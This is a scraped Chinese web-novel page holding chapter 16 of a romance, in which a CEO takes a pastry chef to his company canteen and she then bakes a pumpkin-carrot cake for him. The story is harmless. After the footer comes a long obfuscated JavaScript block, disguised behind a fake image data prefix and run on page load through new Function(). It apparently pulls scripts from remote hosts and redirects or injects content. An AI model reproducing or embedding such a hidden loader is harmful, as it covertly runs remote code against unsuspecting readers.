首页
第16章 食堂喂食
返回
关灯 护眼:关 字号:小

第16章 食堂喂食

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian100.com,更新快,无弹窗!

    傅言之说的“炒菜”,苏棠以为会是什么地方。也许是某个私房菜馆,也许是一家需要提前预约的高档餐厅,也许是他让人订了包厢的那种——毕竟他这个人吃什么都像是完成任务,应该不会在乎环境,但他在乎食物的品质,所以她猜他选的餐厅不会差。
    但当她坐进那辆黑色迈巴赫、傅言之对司机说出“去公司”三个字的时候,苏棠以为自己听错了。
    “不是说吃炒菜吗?”她转头看着坐在旁边的傅言之。
    “公司食堂有炒菜。”傅言之连头都没转,语气平淡得像在说今天天气不错。
    苏棠用了好几秒钟来消化这个信息。公司食堂——那种她只在电视剧里见过的、宽敞明亮的、有十几个档口的、员工端着托盘排队打饭的地方。她要跟傅言之在那种地方吃饭?在一群他的员工中间?
    “你是认真的?”苏棠问。
    “我什么时候不认真?”
    苏棠张了张嘴,想想也是。这个人确实什么时候都认真,让她每天中午陪他吃饭这件事他做得一本正经,连查大众点评都查得一丝不苟,在面馆里给面条打分的架势跟在董事会上给项目打分没什么区别。他说去公司食堂,那就是真的去公司食堂。
    车子停在傅氏大厦的地下车库。苏棠跟着傅言之走进电梯,他按了负一层,又按了一个她没见过的楼层。电梯门打开的时候,一股混着饭菜香气的热风扑面而来,耳边响起餐盘碰撞的叮当声、人群说话的嗡嗡声、刷卡机“滴”的提示音。苏棠走出去,站在食堂门口,被眼前的景象震了一下。
    食堂比她想象的大得多,少说有上千平米,一整面墙是落地窗,阳光从窗户照进来落在整齐排列的餐桌上,把那些白色桌面照得发亮。十几个档口沿着墙壁排开,中餐、西餐、面点、甜品、饮料,每个档口上方都有电子屏滚动着今日菜单。正是饭点,到处都是人,端着托盘找位置的、站在档口前排队等菜的、坐在桌边边吃边聊的。
    苏棠下意识地往傅言之身边靠了靠。她不是怕,是总觉得那些目光会落在她身上。她在四十一楼被那些目光扫过太多次了——前台的、秘书的、走廊里那些玻璃隔间后面的,每一道都写着“你就是那个甜品师”。现在她要出现在食堂里,被几百个正在吃午饭的员工同时看到。
    傅言之倒是坦然得很,大步走进食堂,好像这里是他家的餐厅。他从门口消毒柜里取了一个托盘递给她,自己又拿了一个,然后径直往中餐档口走。苏棠抱着托盘跟在他后面,像一条被大风刮着走的小船。
    中餐档口的师傅看到傅言之,手里的勺子顿了一下,眼睛瞪大了一圈:“傅总?您今天在食堂吃?”
    傅言之点了点头,目光扫过那些菜。苏棠站在他旁边,注意到档口师傅的表情从震惊变成了紧张,打菜的手都在微微发抖,每一勺都打得满满当当的,堆得像小山一样。苏棠看着那些菜,肚子开始咕噜叫了——红烧排骨、清炒时蔬、番茄炒蛋、麻婆豆腐、清蒸鲈鱼、蒜蓉西兰花,每一道都冒着热气,香味直往鼻子里钻。
    傅言之要了一份清炒时蔬、一份清蒸鲈鱼、一碗白米饭。苏棠要了一份红烧排骨、一份番茄炒蛋、一份蒜蓉西兰花,又要了一碗米饭。
    两个人端着托盘找位置坐下的时候,苏棠发现整个食堂的视线都悄悄飘过来了。不是明目张胆地看,是那种“我低头吃饭但我余光一直在扫”的看,像几百台隐藏摄像头同时开机,每一道都对准了这张桌子。
    苏棠低下头,开始吃饭。
    她夹起一块红烧排骨咬了一口,肉质软烂入味,酱香浓郁,不比外面的餐馆差。她又夹了一筷子番茄炒蛋,蛋嫩番茄软,酸甜适中。她吃了几口,发现傅言之没有动筷子——他在看着她。
    “你怎么不吃?”苏棠被他看得有点发毛了。
    “在吃。”傅言之拿起筷子夹了一块鱼肉,慢慢嚼了。
    苏棠继续吃,但不时瞥他一眼。他吃得很慢,每夹一筷子都要挑半天——不是挑食,是在选哪一块最合适。吃鱼的时候把刺挑得干干净净才送进嘴里,吃菜的时候只吃叶子不吃梗。她注意到他盘子里那堆西兰花被他挑来挑去,梗全剩下了,叶子吃了两小朵。清炒时蔬里的青菜他没怎么动,米饭也只吃了几口,那块鱼肉倒是吃完了。
    “你怎么不吃青菜?”苏棠忍不住问。
    “吃了。”
    “你吃了……也没吃多少吧。”
    傅言之抬头看了她一眼:“你一直在看我?”
    苏棠耳朵一热,低头扒了两口饭:“我就是顺便看到的。”——她确实看到了,不光看到他还注意到他每次夹青菜都要皱一下眉,那种皱眉不是嫌弃,是一种“我知道这个东西对我有好处但真的不想吃”的挣扎。
    “从小就不爱吃。”傅言之说,“能吃的就那几样。”
    苏棠想起傅以沫说过的那些话——他不是挑食,是偏食,是身体的问题,不是不想吃,是吃不了。几根青菜可能已经是他的极限了,再多一根就不知道会怎样。
    她低下头继续吃,心里盘算着回去以后能不能做一款蔬菜类的甜品——用南瓜或者胡萝卜,甜味自然,口感顺滑,也许他能接受。她想着想着,忽然一双筷子伸进了她的碗里。
    苏棠抬起头,看到傅言之正稳稳当当地夹起她碗里的一块红烧排骨,放进了自己的盘子里。
    “你吃我的排骨?”苏棠的声音拔高了半度。
    “你的排骨看起来比我的鱼好吃。”傅言之说着,又伸筷子去夹她盘子里的番茄炒蛋,“你这个蛋炒得比食堂的嫩。”
    “那是食堂做的,不是我做的。”苏棠护着自己的盘子往怀里拉了拉,又气又笑,“你自己盘子里的不吃,抢我的干什么?”
    “因为你的看起来更好吃。”
    苏棠觉得自己的脸开始烧了。她想说点什么反驳的话,但发现傅言之说的好像是真的——他盘子里那条鱼确实看着没什么食欲,清蒸的寡淡得很,时蔬炒过了头颜色发黄,米饭干巴巴的。他每次来食堂大概都是为了完成任务,不是来“吃饭”的,是来“把该吃的东西吃下去”的。
    苏棠叹了口气,把盘子往中间推了推:“你想吃什么自己夹。”
    傅言之没有用这个“邀请”。他放下自己的筷子,拿起苏棠的筷子——对,是苏棠的筷子——夹了一块排骨,放回苏棠的碗里。
    苏棠愣住了:“那不是我的筷子吗?”
    “你的筷子好用。”傅言之面不改色地又夹了一筷子番茄炒蛋放在她碗里,“多吃点,你太瘦了。”
    苏棠看着自己碗里堆起来的菜,又看看对面那个一脸理所当然拿她的筷子给她夹菜的男人,一时间不知道该先质疑哪一件事——是他用了她的筷子,还是他嫌她太瘦,还是他在食堂里当着这么多人的面给她夹菜。
    她张了张嘴,想说“那你用什么”,低头一看,傅言之已经拿起她的筷子——不对,是她的筷子在他手里,而他自己的筷子正安安静静地躺在她面前的桌上。她刚才大脑短路,顺手拿了他的筷子。
    苏棠的脸瞬间红了。她低下头,用傅言之的筷子夹了一块排骨塞进嘴里,嚼了两下,又觉得不对——这不是重点,重点是他们俩在换筷子用。但她已经嚼了,吐出来更尴尬。
    她硬着头皮把那块排骨咽了下去,全程没敢抬头。
    吃完最后一口饭,苏棠放下筷子,觉得自己需要缓缓。她端起水杯喝了一口水,还没咽下去,就看到傅言之从他盘子里把那几根剩下的青菜梗夹起来,稳稳当当地放进了她的碗里。
    “你干什么?”苏棠含着水含糊不清地问。
    “挑食不好。”傅言之把青菜梗放在她碗里,放得很整齐,像在摆盘,“你帮我吃。”
    苏棠把那口水咽下去,低头看着碗里那几根青菜梗。它们安安静静地躺在碗底,身上还沾着傅言之碗里的米饭粒。
    “傅言之。”苏棠抬起头看着他的脸,“你这是把我当什么了?”
    傅言之看着她的表情,嘴角慢慢地弯了起来——苏棠第一次见他笑得这么明显,不是那个微微一颤就消失的“接近笑”,是嘴角真的往上扬了一个弧度,眼睛里有光在跳。
    “帮个忙。”他说。
    苏棠盯着他看了两秒,他那副“我就是不想吃青菜你能把我怎么样”的表情,让她又好气又好笑。
    她拿起筷子,把那几根青菜梗夹起来,送进嘴里,嚼了嚼。就是普通的炒青菜梗,有点脆有点水,没什么特别的味道。但这是傅言之夹给她的——这个念头一冒出来,她就觉得牙床都发软了。
    “吃完了。”苏棠把空碗亮给他看,语气里带着一种“行了吧”的无奈。
    傅言之看了一眼,满意地点了点头,用纸巾擦了擦嘴角。他的盘子里还有大半碗米饭和半盘子菜没吃完——他已经吃完了能吃的部分,剩下的不是不想吃是吃不了。苏棠注意到他把鱼也吃完了,把时蔬里的叶子也吃完了,剩的是米饭和青菜梗,和那些他身体不太能接受的东西。
    “你吃饱了吗?”苏棠问。
    “七分饱。”
    “那再吃点?”
    “再吃会不舒服。”
    苏棠看着他,心里忽然有点说不上来的感觉——不是心疼,比心疼更轻一些,是一种“原来他每天吃饭都这么不容易”的了解。
    “那你平时中午都吃这么多?”她的声音不自觉地轻了下来。
    “差不多。”傅言之站起来收托盘。
    苏棠也站起来收拾自己这边的碗筷,傅言之从她手里把她的托盘接过去,跟自己的摞在一起,端起来往回收处走。苏棠跟在他后面,两个人穿过食堂的时候,那些假装吃饭的员工们又抬起了头,目光追着他们移动,但谁都没出声。
    整个食堂安静了一瞬,然后在她身后重新喧闹起来。
    苏棠加快了脚步。
    “下次能不能别在食堂吃了?”她追上傅言之,走在他旁边,“你的员工都没心思吃饭了。”
    “那是他们的事。”傅言之按了电梯按钮。
    电梯门开了,两人走进去。门关上的一瞬间,外面的声音被隔断了,电梯里安静得能听到通风口细微的风声。
    苏棠靠在电梯墙上,盯着傅言之的后脑勺。他的头发剪得很短,后脑勺的弧度从头顶一直延伸到后颈,线条干净利落。
    “傅言之。”她叫他。
    “嗯?”
    “你是不是故意的?”
    傅言之没有回答。但从电梯门不锈钢的反射里,苏棠看到他的嘴角动了一下。不是笑,但有点像。那种表情像是在说“被你猜到了”,又不太想承认,就抿着嘴不说话。
    电梯到了负一层,门开了。傅言之走出去,苏棠跟在后面,两个人的脚步声在地下车库里一前一后地响着,一个沉稳,一个轻快。
    上车以后,苏棠靠着车窗,看着窗外飞速后退的城市。嘴角一直翘着,放不下来。
    她想到傅言之在食堂里的样子——那个面无表情地把青菜梗夹到她碗里的样子,那个拿起她的筷子给她夹排骨的样子,那个说“帮个忙”的时候理直气壮的样子,那个被她猜中心思时抿着嘴不承认的样子。
    她以前觉得傅言之像一块冰,冷冰冰的不近人情,他的世界跟她的世界之间隔着一整条银河,永远不可能交汇。但现在她觉得,这块冰下面好像藏着别的东西——是暖的,是软的,是平时看不到的。偶尔在某个瞬间,在他说“帮个忙”的时候,在他嘴角弯起来的时候,在电梯里他抿着嘴不说话的时候,那块冰会裂开一条缝,让她看到里面的东西。
    苏棠把脸贴在冰凉的车窗玻璃上降了降温,玻璃上映出她的脸——眼睛亮亮的,嘴角翘翘的,整个人像是被什么东西从里面点亮了。
    “明天中午想吃什么?”傅言之的声音从前座传来。
    “食堂。”苏棠脱口而出,“明天还去食堂。”
    说完她自己都愣了一下——刚才她还在说“下次别在食堂了”,现在又说“明天还去食堂”。她的大脑跟她的嘴好像不是同一个部门管的。
    傅言之从前座的缝隙里看了她一眼。那道目光里有意外,有满意,还有一种“我早就知道你会这么说”的了然——但他说出来的话却很简单。
    “好。”
    车子停在“棠心”门口,苏棠推开车门下车。她转过身,弯下腰对坐在前座的傅言之说:“明天中午我去找你。你别来接我了,来回跑太麻烦,我自己坐地铁过去。”
    “好。”
    苏棠转身往店里走,走了两步又回过头。
    “傅言之。”
    “嗯?”
    “你今天中午吃了多少?比平时多吗?”
    傅言之想了想:“多了一些。”
    苏棠笑了,笑得很开心,眼睛弯成两道月牙:“那明天我给你做个蔬菜类的甜品,你吃了不会难受的那种。”
    傅言之看着她,嘴角弯了弯。
    苏棠进了店,关上门,靠在门板上听着迈巴赫的引擎声渐渐远去。她的手捂着胸口,感觉心跳还是很快,快到她自己都觉得有点夸张。
    手机震了,是田晓发来的消息。问她今天中午吃得怎么样,苏棠想了想,回了一句:“他把不爱吃的青菜夹给我了。”
    田晓秒回了一长串感叹号。苏棠还没来得及解释,田晓的语音就打过来了,声音大得她不得不把手机拿远了一点:“苏棠!他把青菜夹给你?!在食堂?!当着所有人的面?!”
    “你怎么知道的?”
    “傅氏大厦有人发朋友圈了!”田晓的声音又急又快,带着一种“我在吃瓜我是猹”的兴奋,“虽然很快就删了但是我看到截图了!苏棠你现在是名人了你知道吗!傅氏大厦的员工都在传——‘总裁在食堂给一个女的夹菜,还用她的筷子’!”
    苏棠把脸埋在吧台上,发出一声闷闷的哀嚎。
    但埋着埋着,她发现自己嘴角又翘上去了。她趴在吧台上,把脸埋在臂弯里,耳朵是烫的,心跳是快的,脑子里全是那个人的脸——那个把青菜梗一根一根放进她碗里、然后抬起头说“你帮我吃”的男人。他说“帮个忙”的时候语气那么自然,好像她帮他吃掉不爱吃的青菜是一件天经地义的事情。
    苏棠把脸从臂弯里抬起来,深吸一口气,站起来走进厨房,系好围裙。
    她从冰箱里拿出南瓜和胡萝卜。蔬菜类甜品,他吃了不会难受的那种。既然他中午吃青菜吃得那么痛苦,那她就换一种方式,让他用不同的形式把该吃的东西吃下去。
    南瓜切成小块放进蒸锅,胡萝卜削皮切成丁。锅里的水蒸气袅袅升起来,厨房里弥漫着南瓜清甜的香气。苏棠闭上眼睛深深地闻了一下,嘴角弯弯的,耳朵还有点烫,但她的注意力已经不在那上面了,她在想南瓜和胡萝卜的比例——南瓜多一些,口感更顺滑;胡萝卜少一些,颜色更好看,甜味也更自然。
    她打开柜子翻出几样东西——奶油奶酪、鸡蛋、低筋面粉、细砂糖。南瓜胡萝卜蛋糕,可以做一款类似芝士蛋糕口感的,饼底用消化饼干碎和融化的黄油压紧烤脆,蛋糕体用南瓜泥和胡萝卜泥,加奶油奶酪和少量糖,口感绵密不甜腻,表面可以淋一层酸奶做的淋面,再撒一点核桃碎。
    苏棠开始干活。做甜品的时候她的脑子最清楚,那些让她脸红心跳的画面会被一点点揉进面糊里,变成能吃的东西,送进烤箱烤熟。
    手机亮了一下,傅言之发来一条消息:“明天中午的蔬菜甜品,用南瓜。我喜欢南瓜。”
    苏棠看着这行字,笑了。她又想起他在食堂里那个表情——嘴角弯起来、眼睛里有光在跳的表情,那种笑不多见,但每次出现都让她觉得这个人其实没有那么冷。
    她回了一个字:“好。”
    南瓜已经在锅里蒸着了,蒸锅里的水咕嘟咕嘟地冒着泡,白色的蒸汽一团一团地往上涌。苏棠把蒸好的南瓜和胡萝卜放进搅拌机,按下开关。
    机器的轰鸣声里,她听到自己哼歌的声音。断断续续的,词也没唱全,调子也不知道跑到哪里去了——但她就是忍不住。
    明天中午,食堂。
    他还会夹青菜给她吗?苏棠想了一下那个画面,发现自己好像不怎么排斥了。不是因为那棵青菜本身,是因为夹青菜的那个人,是因为他夹菜的时候那个“帮个忙”的表情——理所应当,理直气壮,好像这个世界上所有的青菜都该由她来帮他吃掉。
    苏棠关上搅拌机,把打好的南瓜胡萝卜泥倒进大碗里,加入软化的奶油奶酪和细砂糖,用刮刀慢慢翻拌着。
    明天中午她会坐在他对面,他会把她不爱吃的和不能吃的东西放到她碗里。
    苏棠想着想着,笑出了声。
    厨房很安静,只有刮刀刮过碗壁的细微声响。窗外阳光很好,照在她的手上,照在那碗南瓜泥上,照在她沾了面粉的围裙上。她低头看着碗里那些金黄色的泥,南瓜和胡萝卜混在一起,颜色又亮又暖,像秋天的太阳被收进了碗里。
    她拿起勺子尝了一口,南瓜的甜和胡萝卜的清甜在嘴里化开,口感很顺滑。她觉得傅言之应该会喜欢——他的口味偏清淡,不喜欢太甜的东西,这款蛋糕正好可以控制糖的用量,让南瓜和胡萝卜本身的甜味做主角。
    苏棠把蛋糕糊倒进模具,用刮刀把表面抹平,放进预热好的烤箱。
    烤箱的暖光映在她脸上,她站在那里,等着那扇小窗户里面的东西慢慢鼓起来,边缘变成金黄,香气从烤箱的缝隙里钻出来,弥漫在整个厨房里。
    手机又亮了。
    田晓发了十几条消息过来,从“你到底跟那个姓傅的什么关系”到“你俩是不是在一起了”到“你要是不说我现在就去你店里当面问”,语气越来越急,表情包越来越夸张。苏棠一条都没回,不是不想回,是不知道回什么。
    她跟傅言之什么关系?她也说不清楚。说是投资人和甜品师吧,他们每天中午坐在一起吃饭,他给她夹菜,她帮他吃掉不爱吃的青菜。说是朋友吧,谁见过这样的朋友?而且刚才在食堂里,他看着她的时候,那道目光的温度明摆着不只是“合作愉快”的意思,她又不是木头。
    苏棠把这个问题按下去。现在想这些还太早,先把蛋糕做好,明天中午带给他。他吃了以后会不会说“好吃”?会不会嘴角弯起来?会不会又说一句让她脸红心跳的话?
    烤箱“叮”的一声响了,苏棠戴上隔热手套把蛋糕取出来放在晾网上。金黄色的表面微微隆起,裂开几道细小的纹路,边缘烤出了焦糖色,整个厨房都被一种温暖的香气填满了。
    苏棠站在晾网前面,看着那只南瓜胡萝卜蛋糕,觉得这是她最近做过的最满意的一款甜品。
    不是因为配方有多好,是因为做的时候,心里一直想着一个人。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();